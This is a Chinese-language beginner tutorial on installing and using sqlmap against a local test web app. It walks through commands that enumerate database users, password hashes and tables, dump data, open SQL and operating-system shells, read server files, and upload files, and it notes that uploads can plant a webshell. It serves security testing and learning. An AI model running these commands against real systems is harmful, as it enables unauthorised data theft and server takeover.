sqlmap是一款开源的自动化渗透测试工具,可以扫描、发现并利用给定URL的SQL注入漏洞,检测动态页面中的get/post参数,cookie,http头,查看数据库数据,还可以访问文件系统,甚至能够执行操作系统命令。因为sqlmap由python语言编写而成,所以使用时,需要在python环境中运行。
(1)支持的数据库管理系统包括:MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB。
(2)支持检测方式包括:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入。
(3)在数据库证书、IP地址、端口和数据库名等条件允许的情况下,支持不通过SQL注入点而直接连接数据库。
(4)支持枚举用户、密码、权限、角色、数据库、数据表和列。
(5)支持自动识别密码哈希格式并通过字典破解密码哈希。
(6)支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
(7)当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
(8)当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
当前使用版本:Python2.7
Python下载地址:https://www.python.org/downloads/
(1)安装过程指定自己想要安装的路径,点击next,将“Add python.exe to Path"项勾选,勾选后安装完成不再需要单独添加环境变量,默认是“去勾选”的;安装成功后选择将python This feature will be installed on local hard drive。
(2)因为测试环境的需要 可能会有一台电脑安装多种不同版本的python的情况,所以不直接用cmd去验证。要验证当前python安装是否成功进入python 2.7.11安装的路径下打开命令行窗口,输入“python”,显示当前python版本号,即代表安装成功。
(1)在sqlmap官网http://sqlmap.org/下载最新版本的sqlmap安装包。如下图所示:
(2)将下载下来的安装包解压到自己想存放的目录并将解压,重命名为sqlmapproject,验证sqlmap是否安装完成,可进行如下操作进行验证
(3)打开cmd窗口,进入到python2.7.1的安装目录(这里如果配置了python环境变量,则不需要进入到此目录):将当前的文件直接拉到 cmd上面来运行,直接运行下面的程序,并将当前的 sqlmap.py 的程序拉过来运行,可以看到当前的版本。
(1)将解压的sqlmapproject文件拷贝到所安装的python的对应路径"C:\Python27" 目录下
(2)然后在桌面新建立一个cmd的快捷方式,并命名为sqlmap。
(3)在新建快捷方式上右键“属性”,将“起始位置”修改为 C:\Python27\sqlmapproject ,然后确定即可。
(4)双击打开当前的快捷方式,输入sqlmap.py -h,可以看到一些常用的命令。
除了特别说明用post请求,以下所有用法示例均用get请求进行检测。
-u “url” #检测注入点
–dbs #列出所有数据库的名称
–current-db #列出当前数据库的名称
-D #指定一个数据库
–table #列出所有表名
-T #指定表名
–columns #列出所有字段名
-C #指定字段
–dump #列出字段内容
(1)对于不用登录的网站,直接在”-u”之后指定其URL,然后按回车键
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=2
(2)之后,我们可以看到扫到数据库类型为mysql数据库(输入y继续)
(4)扫描完成后,sqlmap给出了一些验证漏洞的payload信息
(5)以下是扫描结果
如今我们的系统一般都会做防sql注入的处理,下面检测防sql注入接口,看将会发生什么。
(1)检测防sql注入接口
(2)可以看到,我们系统存在防SQL注入,sqlmap注入失败
(1)查询所有的数据库账号(–users)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–users
(2)查看数据库所有用户名的密码(–passwords)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–passwords
(3)查看数据库当前用户(–current-user)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–current-user
(4)判断当前用户是否有管理权限(–is-dba)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–is-dba
(5)列出数据库管理员角色(–roles)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–roles
(6)查看所有的数据库(–dbs)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–dbs
(7)查看当前的数据库(–current-db)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–current-db
(8)爆出指定数据库(dbtest)中的所有的表(-D dbtest --tables)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1 -D
dbtest --tables
(9)爆出指定数据库(dbtest)指定表(user)中的所有的列(-D dbtest -T user --columns)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1 -D
dbtest -T user --columns
(10)爆出指定数据库(dbtest)指定表(user)指定列(username)下的数据(-D dbtest -T user -C username --dump)
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1 -D
dbtest -T user -C username --dump
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/postbyid
–data=“id=1”
(1)Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5。
(2)sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级。
(3)如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–level=5 --risk=3
我们可以用账号密码登录,然后用抓包工具抓取其cookie填入
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–cookie=“testcookie”
sqlmap.py -u “http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1”
–referer http://www.baidu.com
(1)输入
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–sql-shell
(2)再输入
select * from user;
(1)在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令。
(2)当为MySQL数据库时,需满足两个条件:当前用户为 root;知道网站根目录的绝对路径。
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–os-shell
(5)执行os-shell的过程中,sqlmap会向网站根目录写入两个文件。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。
(1)当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
(2)例如我们要读取目标服务器C盘的test.txt文件:
sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–file-read C:\test.txt
因为当前用户无权限,无法读取。
(1)当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
(2)所以利用上传文件,我们可以上传一句话木马或者上传shell上去。前提是我们知道目标服务器的绝对路径。
sqlmap.py -u
http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1–file-write
C:\test1.txt --file-dest C:\test2.txt
因为当前用户无权限,无法上传。
以上仅是Sqlmap的一些常用简单命令使用示例,主要以入门知识为主,帮助零基础的伙伴了解一些Sqlmap的简单操作,比如:使用该工具来判断目标网站是否存在sql注入、查询获取数据库的库名表名字段名以及字段内容等信息,其他更详细的用法,可详见Sqlmap的帮助手册。